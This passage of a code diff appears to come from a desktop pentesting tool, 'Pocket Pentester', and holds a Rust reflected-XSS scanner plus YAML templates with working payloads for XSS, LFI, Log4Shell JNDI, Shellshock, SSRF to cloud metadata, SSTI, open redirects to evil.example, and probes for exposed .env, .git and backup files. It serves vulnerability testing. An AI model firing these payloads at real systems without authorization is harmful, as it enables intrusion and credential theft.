|
||||
i += 1;
|
||||
}
|
||||
}
|
||||
|
||||
found
|
||||
}
|
||||
|
||||
fn classify(before: &str) -> RefContext {
|
||||
let last_open_script = before.rfind("<script");
|
||||
let last_close_script = before.rfind("</script>");
|
||||
let in_script = match (last_open_script, last_close_script) {
|
||||
(Some(o), Some(c)) => o > c,
|
||||
(Some(_), None) => true,
|
||||
_ => false,
|
||||
};
|
||||
|
||||
if in_script {
|
||||
let after_script = &before[last_open_script.unwrap()..];
|
||||
// find quotes within script
|
||||
let mut in_dq = false;
|
||||
let mut in_sq = false;
|
||||
for c in after_script.chars() {
|
||||
match c {
|
||||
'"' if !in_sq => in_dq = !in_dq,
|
||||
'\'' if !in_dq => in_sq = !in_sq,
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
if in_dq { return RefContext::ScriptString('"'); }
|
||||
if in_sq { return RefContext::ScriptString('\''); }
|
||||
return RefContext::ScriptBlock;
|
||||
}
|
||||
|
||||
let last_open_tag = before.rfind('<');
|
||||
let last_close_tag = before.rfind('>');
|
||||
let in_tag = match (last_open_tag, last_close_tag) {
|
||||
(Some(o), Some(c)) => o > c,
|
||||
(Some(_), None) => true,
|
||||
_ => false,
|
||||
};
|
||||
|
||||
if in_tag {
|
||||
// inside a tag — look for attribute context (href/src/action)
|
||||
let tag_segment = &before[last_open_tag.unwrap_or(0)..].to_lowercase();
|
||||
let last_eq = tag_segment.rfind('=');
|
||||
if let Some(eq_pos) = last_eq {
|
||||
let after_eq = &before[last_open_tag.unwrap() + eq_pos + 1..];
|
||||
let trimmed = after_eq.trim_start();
|
||||
let quote = trimmed.chars().next();
|
||||
// attribute name heuristic
|
||||
let is_url_attr = tag_segment.contains("href=") || tag_segment.contains("src=") || tag_segment.contains("action=");
|
||||
|
||||
if is_url_attr {
|
||||
return RefContext::UrlAttribute;
|
||||
}
|
||||
if let Some(q) = quote {
|
||||
if q == '"' || q == '\'' {
|
||||
return RefContext::HtmlAttribute(q);
|
||||
}
|
||||
}
|
||||
return RefContext::HtmlAttribute(' ');
|
||||
}
|
||||
return RefContext::HtmlAttribute(' ');
|
||||
}
|
||||
|
||||
let last_comment_open = before.rfind("<!--");
|
||||
let last_comment_close = before.rfind("-->");
|
||||
let in_comment = match (last_comment_open, last_comment_close) {
|
||||
(Some(o), Some(c)) => o > c,
|
||||
(Some(_), None) => true,
|
||||
_ => false,
|
||||
};
|
||||
if in_comment { return RefContext::Comment; }
|
||||
|
||||
RefContext::Html
|
||||
}
|
||||
|
||||
fn payloads_for(ctx: &RefContext, canary: &str) -> Vec<(String, String)> {
|
||||
// returns (label, payload) — payload MUST contain canary for detection
|
||||
match ctx {
|
||||
RefContext::Html => vec![
|
||||
("svg-onload".into(), format!("<svg/onload=alert('{canary}')>")),
|
||||
("img-onerror".into(), format!("<img src=x onerror=alert('{canary}')>")),
|
||||
("script-tag".into(), format!("<script>/*{canary}*/</script>")),
|
||||
],
|
||||
RefContext::HtmlAttribute(q) => {
|
||||
let qs = q.to_string();
|
||||
vec![
|
||||
("attr-break".into(), format!("{qs} onfocus=alert('{canary}') autofocus {qs}")),
|
||||
("attr-close-tag".into(), format!("{qs}><svg onload=alert('{canary}')>")),
|
||||
]
|
||||
}
|
||||
RefContext::ScriptBlock => vec![
|
||||
("script-direct".into(), format!("alert('{canary}')//")),
|
||||
("script-semicolon".into(), format!(";alert('{canary}');//")),
|
||||
],
|
||||
RefContext::ScriptString(q) => {
|
||||
let qs = q.to_string();
|
||||
vec![
|
||||
("js-string-break".into(), format!("{qs};alert('{canary}');//")),
|
||||
("js-string-concat".into(), format!("{qs}+alert('{canary}')+{qs}")),
|
||||
]
|
||||
}
|
||||
RefContext::UrlAttribute => vec![
|
||||
("javascript-url".into(), format!("javascript:alert('{canary}')")),
|
||||
("data-uri".into(), format!("data:text/html,<script>alert('{canary}')</script>")),
|
||||
],
|
||||
RefContext::Comment => vec![
|
||||
("break-comment".into(), format!("--><svg onload=alert('{canary}')>")),
|
||||
],
|
||||
}
|
||||
}
|
||||
|
||||
fn ctx_name(ctx: &RefContext) -> &'static str {
|
||||
match ctx {
|
||||
RefContext::Html => "HTML body",
|
||||
RefContext::HtmlAttribute(_) => "HTML attribute",
|
||||
RefContext::ScriptBlock => "JS block",
|
||||
RefContext::ScriptString(_) => "JS string",
|
||||
RefContext::UrlAttribute => "URL attribute",
|
||||
RefContext::Comment => "HTML comment",
|
||||
}
|
||||
}
|
||||
|
||||
async fn send(
|
||||
client: &reqwest::Client,
|
||||
method: &str,
|
||||
base: &Url,
|
||||
param: &str,
|
||||
value: &str,
|
||||
other_params: &[(String, String)],
|
||||
) -> Option<String> {
|
||||
let resp = if method == "POST" {
|
||||
let mut form: Vec<(String, String)> = other_params.to_vec();
|
||||
form.push((param.to_string(), value.to_string()));
|
||||
client.post(base.as_str()).form(&form).send().await.ok()?
|
||||
} else {
|
||||
let mut u = base.clone();
|
||||
u.query_pairs_mut().clear();
|
||||
for (k, v) in other_params {
|
||||
u.query_pairs_mut().append_pair(k, v);
|
||||
}
|
||||
u.query_pairs_mut().append_pair(param, value);
|
||||
client.get(u).send().await.ok()?
|
||||
};
|
||||
resp.text().await.ok()
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn xss_scan(app: AppHandle, req: XssRequest) -> Result<Vec<XssFinding>, String> {
|
||||
let base = Url::parse(&req.url).map_err(|e| e.to_string())?;
|
||||
let client = reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_millis(req.timeout_ms))
|
||||
.redirect(reqwest::redirect::Policy::limited(3))
|
||||
.user_agent("Mozilla/5.0 (PocketPentester)")
|
||||
.build()
|
||||
.map_err(|e| e.to_string())?;
|
||||
|
||||
let query_params: Vec<(String, String)> =
|
||||
base.query_pairs().map(|(k, v)| (k.into_owned(), v.into_owned())).collect();
|
||||
|
||||
let param_names: Vec<String> = req.params.unwrap_or_else(|| {
|
||||
query_params.iter().map(|(k, _)| k.clone()).collect()
|
||||
});
|
||||
|
||||
if param_names.is_empty() {
|
||||
return Err("no parameters to test".into());
|
||||
}
|
||||
|
||||
let mut findings: Vec<XssFinding> = Vec::new();
|
||||
let sem = Arc::new(Semaphore::new(req.concurrency.max(1)));
|
||||
|
||||
for method in &req.methods {
|
||||
for param in ¶m_names {
|
||||
let others: Vec<(String, String)> = query_params
|
||||
.iter()
|
||||
.filter(|(k, _)| k != param)
|
||||
.cloned()
|
||||
.collect();
|
||||
|
||||
// 1. reflection probe with canary
|
||||
let canary = random_canary();
|
||||
let _ = app.emit("xss:status", format!("→ {} {} [canary {canary}]", method, param));
|
||||
let _permit = sem.acquire().await.unwrap();
|
||||
let body = match send(&client, method, &base, param, &canary, &others).await {
|
||||
Some(b) => b,
|
||||
None => continue,
|
||||
};
|
||||
drop(_permit);
|
||||
|
||||
if !body.contains(&canary) {
|
||||
let _ = app.emit("xss:status", format!(" no reflection in {param}"));
|
||||
continue;
|
||||
}
|
||||
|
||||
let contexts = detect_context(&body, &canary);
|
||||
let _ = app.emit(
|
||||
"xss:status",
|
||||
format!(" reflected in {} context(s)", contexts.len()),
|
||||
);
|
||||
|
||||
// 2. for each context, try payloads
|
||||
for ctx in &contexts {
|
||||
let attack_canary = random_canary();
|
||||
for (label, payload) in payloads_for(ctx, &attack_canary) {
|
||||
let _permit = sem.acquire().await.unwrap();
|
||||
let body2 = match send(&client, method, &base, param, &payload, &others).await {
|
||||
Some(b) => b,
|
||||
None => continue,
|
||||
};
|
||||
|
||||
if body2.contains(&attack_canary) {
|
||||
// check payload survived mostly unescaped
|
||||
let key_markers = ["<svg", "<img", "<script", "onerror=", "onload=", "alert(", "javascript:"];
|
||||
let survived = key_markers.iter().any(|m| body2.contains(m) && payload.contains(m));
|
||||
|
||||
let finding = XssFinding {
|
||||
param: param.clone(),
|
||||
method: method.clone(),
|
||||
context: ctx_name(ctx).into(),
|
||||
payload: payload.clone(),
|
||||
evidence: if survived {
|
||||
format!("canary + payload tag survived in {label}")
|
||||
} else {
|
||||
format!("canary reflected but payload possibly escaped ({label})")
|
||||
},
|
||||
confidence: if survived { "HIGH".into() } else { "LOW".into() },
|
||||
};
|
||||
let _ = app.emit("xss:hit", finding.clone());
|
||||
findings.push(finding);
|
||||
if survived { break; }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let _ = app.emit("xss:done", findings.len());
|
||||
Ok(findings)
|
||||
}
|
||||
52
src-tauri/starter_templates/xpl-backup-files.yaml
Normal file
@@ -0,0 +1,52 @@
|
||||
id: xpl-backup-files
|
||||
info:
|
||||
name: "Backup & Source File Exposure"
|
||||
author: imtaqin
|
||||
severity: high
|
||||
description: |
|
||||
Common backup/artifact filenames left in web-root — often contain
|
||||
source code, credentials, or database dumps.
|
||||
tags:
|
||||
- exposure
|
||||
- backup
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/backup.zip"
|
||||
- "{{BaseURL}}/backup.tar.gz"
|
||||
- "{{BaseURL}}/backup.sql"
|
||||
- "{{BaseURL}}/db.sql"
|
||||
- "{{BaseURL}}/dump.sql"
|
||||
- "{{BaseURL}}/site.zip"
|
||||
- "{{BaseURL}}/www.zip"
|
||||
- "{{BaseURL}}/public_html.zip"
|
||||
- "{{BaseURL}}/.bash_history"
|
||||
- "{{BaseURL}}/.DS_Store"
|
||||
# ALL conditions must be true — kill false positives from default 404 pages.
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status: [200]
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "size > 512"
|
||||
name: real-content
|
||||
# Must NOT be a standard HTML error page
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "<!DOCTYPE html"
|
||||
- "<html"
|
||||
- "Not Found"
|
||||
- "404 Not Found"
|
||||
- "Forbidden"
|
||||
- "Error"
|
||||
condition: or
|
||||
negative: true
|
||||
# Must NOT be served as HTML (backup files are octet-stream, zip, sql, etc)
|
||||
- type: regex
|
||||
part: header
|
||||
regex:
|
||||
- "(?i)content-type:\\s*text/html"
|
||||
negative: true
|
||||
33
src-tauri/starter_templates/xpl-cors-misconfig.yaml
Normal file
@@ -0,0 +1,33 @@
|
||||
id: xpl-cors-misconfig
|
||||
info:
|
||||
name: "CORS Misconfiguration (Origin Reflection)"
|
||||
author: imtaqin
|
||||
severity: medium
|
||||
description: |
|
||||
The server reflects an attacker-controlled Origin header and
|
||||
also sets Access-Control-Allow-Credentials:true — a classic
|
||||
account-takeover primitive.
|
||||
tags:
|
||||
- cors
|
||||
- misconfig
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/"
|
||||
- "{{BaseURL}}/api/user"
|
||||
- "{{BaseURL}}/api/me"
|
||||
headers:
|
||||
Origin: "https://evil.example"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: regex
|
||||
part: header
|
||||
regex:
|
||||
- "(?i)access-control-allow-origin:\\s*https://evil\\.example"
|
||||
name: origin-reflected
|
||||
- type: regex
|
||||
part: header
|
||||
regex:
|
||||
- "(?i)access-control-allow-credentials:\\s*true"
|
||||
name: credentials-enabled
|
||||
38
src-tauri/starter_templates/xpl-env-leak.yaml
Normal file
@@ -0,0 +1,38 @@
|
||||
id: xpl-env-leak
|
||||
info:
|
||||
name: ".env File Exposure"
|
||||
author: imtaqin
|
||||
severity: high
|
||||
description: |
|
||||
Detects exposed .env files containing credentials, API keys,
|
||||
or database passwords.
|
||||
tags:
|
||||
- exposure
|
||||
- config
|
||||
- credential-leak
|
||||
reference:
|
||||
- https://owasp.org/www-community/vulnerabilities/Information_exposure_through_files
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/.env"
|
||||
- "{{BaseURL}}/.env.local"
|
||||
- "{{BaseURL}}/.env.production"
|
||||
- "{{BaseURL}}/.env.backup"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status: [200]
|
||||
# must contain actual env-style KEY=VALUE pairs with sensitive names
|
||||
- type: regex
|
||||
part: body
|
||||
regex:
|
||||
- "(?im)^(APP_KEY|DB_PASSWORD|AWS_ACCESS_KEY_ID|AWS_SECRET_ACCESS_KEY|SECRET_KEY|API_KEY|PRIVATE_KEY|STRIPE_SECRET|JWT_SECRET)="
|
||||
name: env-secret
|
||||
# must NOT be served as HTML (default 404 page)
|
||||
- type: regex
|
||||
part: header
|
||||
regex:
|
||||
- "(?i)content-type:\\s*text/html"
|
||||
negative: true
|
||||
50
src-tauri/starter_templates/xpl-git-config.yaml
Normal file
@@ -0,0 +1,50 @@
|
||||
id: xpl-git-config
|
||||
info:
|
||||
name: ".git Directory Exposure"
|
||||
author: imtaqin
|
||||
severity: high
|
||||
description: |
|
||||
Exposed .git/config or .git/HEAD — the entire git repository
|
||||
(with history + potentially secrets) can be dumped.
|
||||
tags:
|
||||
- exposure
|
||||
- git
|
||||
reference:
|
||||
- https://github.com/internetwache/GitTools
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/.git/config"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status: [200]
|
||||
# exact signature of a git config file
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "[core]"
|
||||
- "repositoryformatversion"
|
||||
condition: and
|
||||
- type: regex
|
||||
part: header
|
||||
regex:
|
||||
- "(?i)content-type:\\s*text/html"
|
||||
negative: true
|
||||
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/.git/HEAD"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status: [200]
|
||||
# HEAD file is short + starts with "ref:" or is a 40-char hex hash
|
||||
- type: regex
|
||||
part: body
|
||||
regex:
|
||||
- "^(ref: refs/heads/|[a-f0-9]{40})"
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "size < 200"
|
||||
42
src-tauri/starter_templates/xpl-lfi-basic.yaml
Normal file
@@ -0,0 +1,42 @@
|
||||
id: xpl-lfi-basic
|
||||
info:
|
||||
name: "Local File Inclusion (LFI)"
|
||||
author: imtaqin
|
||||
severity: high
|
||||
description: |
|
||||
Classic path-traversal test across common vulnerable parameters.
|
||||
Uses clusterbomb attack to combine traversal depths and payloads.
|
||||
tags:
|
||||
- lfi
|
||||
- path-traversal
|
||||
reference:
|
||||
- https://owasp.org/www-community/attacks/Path_Traversal
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/index.php?page={{fuzz}}"
|
||||
- "{{BaseURL}}/?file={{fuzz}}"
|
||||
- "{{BaseURL}}/download?file={{fuzz}}"
|
||||
- "{{BaseURL}}/view.php?template={{fuzz}}"
|
||||
attack: batteringram
|
||||
payloads:
|
||||
fuzz:
|
||||
- "../../../../etc/passwd"
|
||||
- "../../../../../../etc/passwd"
|
||||
- "....//....//....//etc/passwd"
|
||||
- "..%2f..%2f..%2fetc%2fpasswd"
|
||||
- "php://filter/convert.base64-encode/resource=index.php"
|
||||
stop_at_first_match: true
|
||||
matchers-condition: or
|
||||
matchers:
|
||||
- type: regex
|
||||
part: body
|
||||
regex:
|
||||
- "root:[x*]:0:0:"
|
||||
name: etc-passwd
|
||||
- type: regex
|
||||
part: body
|
||||
regex:
|
||||
- "^[A-Za-z0-9+/]{100,}={0,2}$"
|
||||
name: base64-filter
|
||||
29
src-tauri/starter_templates/xpl-open-redirect.yaml
Normal file
@@ -0,0 +1,29 @@
|
||||
id: xpl-open-redirect
|
||||
info:
|
||||
name: "Open Redirect"
|
||||
author: imtaqin
|
||||
severity: medium
|
||||
description: |
|
||||
Redirect parameters that accept arbitrary external URLs, usable
|
||||
for phishing + OAuth token theft.
|
||||
tags:
|
||||
- open-redirect
|
||||
- phishing
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/redirect?url=https://evil.example/"
|
||||
- "{{BaseURL}}/go?to=https://evil.example/"
|
||||
- "{{BaseURL}}/out?dest=https://evil.example/"
|
||||
- "{{BaseURL}}/login?next=https://evil.example/"
|
||||
redirects: false
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status: [301, 302, 303, 307, 308]
|
||||
- type: regex
|
||||
part: header
|
||||
regex:
|
||||
- "(?i)^location:\\s*https?://evil\\.example"
|
||||
name: redirect-to-evil
|
||||
43
src-tauri/starter_templates/xpl-phpinfo.yaml
Normal file
@@ -0,0 +1,43 @@
|
||||
id: xpl-phpinfo
|
||||
info:
|
||||
name: "phpinfo() Exposure"
|
||||
author: imtaqin
|
||||
severity: medium
|
||||
description: |
|
||||
phpinfo pages reveal PHP version, loaded modules, environment
|
||||
variables, and file-system paths.
|
||||
tags:
|
||||
- exposure
|
||||
- php
|
||||
- infoleak
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/phpinfo.php"
|
||||
- "{{BaseURL}}/info.php"
|
||||
- "{{BaseURL}}/test.php"
|
||||
- "{{BaseURL}}/_profiler/phpinfo"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status: [200]
|
||||
# must contain all 3 phpinfo signatures to be confident
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "PHP Version"
|
||||
- "phpinfo()"
|
||||
- "System"
|
||||
condition: and
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "<title>phpinfo()</title>"
|
||||
extractors:
|
||||
- type: regex
|
||||
part: body
|
||||
regex:
|
||||
- "PHP Version </td><td class=\"v\">([0-9.]+)"
|
||||
group: 1
|
||||
name: php-version
|
||||
52
src-tauri/starter_templates/xpl-rce-log4shell.yaml
Normal file
@@ -0,0 +1,52 @@
|
||||
id: xpl-rce-log4shell
|
||||
info:
|
||||
name: "Log4Shell JNDI Injection (CVE-2021-44228)"
|
||||
author: imtaqin
|
||||
severity: critical
|
||||
description: |
|
||||
Checks common endpoints for reflection of JNDI lookup payloads.
|
||||
NOTE: true blind RCE detection requires an OOB server —
|
||||
the cloud subscription provides interact.sh-lite for reliable
|
||||
callback validation.
|
||||
tags:
|
||||
- cve
|
||||
- rce
|
||||
- log4j
|
||||
- jndi
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
|
||||
classification:
|
||||
cvss-score: 10.0
|
||||
cve-id: CVE-2021-44228
|
||||
|
||||
# TODO(backend): when OOB is enabled, swap `${jndi:ldap://attacker.com}`
|
||||
# for `${jndi:ldap://{{interactsh-url}}/{{randstr}}}` and correlate callbacks.
|
||||
|
||||
variables:
|
||||
canary: "xpl_log4j_{{randstr}}"
|
||||
jndi: "${jndi:ldap://xpl.invalid/{{canary}}}"
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/"
|
||||
headers:
|
||||
User-Agent: "{{jndi}}"
|
||||
X-Api-Version: "{{jndi}}"
|
||||
Referer: "{{jndi}}"
|
||||
X-Forwarded-For: "{{jndi}}"
|
||||
Authorization: "Bearer {{jndi}}"
|
||||
matchers-condition: or
|
||||
matchers:
|
||||
- type: word
|
||||
part: all
|
||||
words:
|
||||
- "{{canary}}"
|
||||
name: canary-echo
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "java.net.UnknownHostException: xpl.invalid"
|
||||
- "JndiLookup"
|
||||
condition: or
|
||||
name: jndi-error
|
||||
47
src-tauri/starter_templates/xpl-rce-shellshock.yaml
Normal file
@@ -0,0 +1,47 @@
|
||||
id: xpl-rce-shellshock
|
||||
info:
|
||||
name: "Bash Shellshock RCE (CVE-2014-6271)"
|
||||
author: imtaqin
|
||||
severity: critical
|
||||
description: |
|
||||
Remote code execution via malformed function definitions in Bash
|
||||
environment variables, exploitable through CGI endpoints.
|
||||
tags:
|
||||
- cve
|
||||
- rce
|
||||
- shellshock
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2014-6271
|
||||
classification:
|
||||
cvss-score: 10.0
|
||||
cve-id: CVE-2014-6271
|
||||
|
||||
variables:
|
||||
marker: "xpl_shock_{{randstr}}"
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/cgi-bin/status"
|
||||
- "{{BaseURL}}/cgi-bin/test"
|
||||
- "{{BaseURL}}/cgi-bin/test.cgi"
|
||||
- "{{BaseURL}}/cgi-bin/test.sh"
|
||||
- "{{BaseURL}}/cgi-bin/bash"
|
||||
- "{{BaseURL}}/cgi-bin/env"
|
||||
- "{{BaseURL}}/cgi-bin/info.sh"
|
||||
headers:
|
||||
User-Agent: "() { :; }; echo; echo; /bin/echo {{marker}}"
|
||||
Cookie: "() { :; }; echo; echo; /bin/echo {{marker}}"
|
||||
Referer: "() { :; }; echo; echo; /bin/echo {{marker}}"
|
||||
matchers-condition: or
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "{{marker}}"
|
||||
name: body-reflection
|
||||
- type: word
|
||||
part: header
|
||||
words:
|
||||
- "{{marker}}"
|
||||
name: header-reflection
|
||||
36
src-tauri/starter_templates/xpl-ssrf-basic.yaml
Normal file
@@ -0,0 +1,36 @@
|
||||
id: xpl-ssrf-basic
|
||||
info:
|
||||
name: "Server-Side Request Forgery (basic reflection)"
|
||||
author: imtaqin
|
||||
severity: high
|
||||
description: |
|
||||
Checks for reflection of internal metadata endpoints in response
|
||||
bodies via common SSRF-prone parameters.
|
||||
NOTE: blind SSRF requires OOB (cloud tier).
|
||||
tags:
|
||||
- ssrf
|
||||
|
||||
# TODO(backend): swap http://169.254.169.254 for {{interactsh-url}} when
|
||||
# the cloud OOB server is enabled; correlate DNS/HTTP callbacks.
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/fetch?url=http://169.254.169.254/latest/meta-data/"
|
||||
- "{{BaseURL}}/proxy?u=http://169.254.169.254/latest/meta-data/"
|
||||
- "{{BaseURL}}/image?src=http://169.254.169.254/"
|
||||
matchers-condition: or
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "ami-id"
|
||||
- "instance-id"
|
||||
- "security-credentials"
|
||||
condition: or
|
||||
name: aws-metadata-reflected
|
||||
- type: regex
|
||||
part: body
|
||||
regex:
|
||||
- "(?i)computeMetadata|project-id"
|
||||
name: gcp-metadata-reflected
|
||||
43
src-tauri/starter_templates/xpl-ssti-jinja2.yaml
Normal file
@@ -0,0 +1,43 @@
|
||||
id: xpl-ssti-jinja2
|
||||
info:
|
||||
name: "Server-Side Template Injection (Jinja2/Flask)"
|
||||
author: imtaqin
|
||||
severity: critical
|
||||
description: |
|
||||
Detects Jinja2 SSTI by injecting a math expression with an unusual
|
||||
product (999 * 777 = 776223) that's unlikely to appear naturally.
|
||||
Confirms only when the exact computed value is reflected AND the
|
||||
raw payload with {{ }} is NOT echoed back verbatim.
|
||||
tags:
|
||||
- ssti
|
||||
- rce
|
||||
- python
|
||||
- jinja2
|
||||
|
||||
http:
|
||||
# Payload is literal `xplZZZ{{999*777}}ssti` — the engine's expand() leaves
|
||||
# {{999*777}} alone since it's not a known variable name. If the target has
|
||||
# Jinja2 SSTI on that parameter, the server renders it to `xplZZZ776223ssti`.
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/?name=xplZZZ{{999*777}}ssti"
|
||||
- "{{BaseURL}}/?q=xplZZZ{{999*777}}ssti"
|
||||
- "{{BaseURL}}/search?q=xplZZZ{{999*777}}ssti"
|
||||
- "{{BaseURL}}/hello/xplZZZ{{999*777}}ssti"
|
||||
stop_at_first_match: true
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
# must be 2xx (not 400/404 - those show errors which may contain our payload)
|
||||
- type: status
|
||||
status: [200, 201, 204]
|
||||
# computed value must appear — very specific string
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "xplZZZ776223ssti"
|
||||
# raw payload must NOT be echoed verbatim (server evaluated it)
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "xplZZZ{{999*777}}ssti"
|
||||
negative: true
|
||||
35
src-tauri/starter_templates/xpl-ssti-twig.yaml
Normal file
@@ -0,0 +1,35 @@
|
||||
id: xpl-ssti-twig
|
||||
info:
|
||||
name: "Server-Side Template Injection (Twig/PHP)"
|
||||
author: imtaqin
|
||||
severity: critical
|
||||
description: |
|
||||
Twig SSTI via upper() filter on a unique marker. Confirms only when
|
||||
the unique uppercase value is reflected AND the raw {{ }} payload
|
||||
is NOT echoed back.
|
||||
tags:
|
||||
- ssti
|
||||
- rce
|
||||
- php
|
||||
- twig
|
||||
|
||||
http:
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/"
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
body: "name=xplZZZ{{'xplmarker'|upper}}ssti"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status: [200, 201]
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "xplZZZXPLMARKERssti"
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "{{'xplmarker'|upper}}"
|
||||
negative: true
|
||||
37
src-tauri/starter_templates/xpl-wp-debug.yaml
Normal file
@@ -0,0 +1,37 @@
|
||||
id: xpl-wp-debug
|
||||
info:
|
||||
name: "WordPress debug.log Exposure"
|
||||
author: imtaqin
|
||||
severity: medium
|
||||
tags:
|
||||
- wordpress
|
||||
- exposure
|
||||
- debug
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/wp-content/debug.log"
|
||||
- "{{BaseURL}}/wp-content/uploads/debug.log"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status: [200]
|
||||
# PHP log entries have specific format: [date time UTC] line
|
||||
- type: regex
|
||||
part: body
|
||||
regex:
|
||||
- "^\\[\\d{2}-\\w{3}-\\d{4}"
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "PHP Notice"
|
||||
- "PHP Warning"
|
||||
- "PHP Fatal error"
|
||||
- "WordPress database error"
|
||||
condition: or
|
||||
- type: regex
|
||||
part: header
|
||||
regex:
|
||||
- "(?i)content-type:\\s*text/html"
|
||||
negative: true
|
||||
35
src-tauri/tauri.conf.json
Normal file
@@ -0,0 +1,35 @@
|
||||
{
|
||||
"$schema": "https://schema.tauri.app/config/2",
|
||||
"productName": "Pocket Pentester",
|
||||
"version": "0.1.0",
|
||||
"identifier": "com.imtaqin.pocketpentester",
|
||||
"build": {
|
||||
"beforeDevCommand": "npm run dev",
|
||||
"devUrl": "http://localhost:1420",
|
||||
"beforeBuildCommand": "npm run build",
|
||||
"frontendDist": "../dist"
|
||||
},
|
||||
"app": {
|
||||
"windows": [
|
||||
{
|
||||
"title": "Pocket Pentester",
|
||||
"width": 800,
|
||||
"height": 600
|
||||
}
|
||||
],
|
||||
"security": {
|
||||
"csp": null
|
||||
}
|
||||
},
|
||||
"bundle": {
|
||||
"active": true,
|
||||
"targets": "all",
|
||||
"icon": [
|
||||
"icons/32x32.png",
|
||||
"icons/128x128.png",
|
||||
"icons/128x128@2x.png",
|
||||
"icons/icon.icns",
|
||||
"icons/icon.ico"
|
||||
]
|
||||
}
|
||||
}
|
||||
2184
src-tauri/wordlists/en-common.lst
Normal file
1
src-tauri/wordlists/id-2048.txt
Normal file
@@ -0,0 +1 @@
|
||||
404: Not Found
|
||||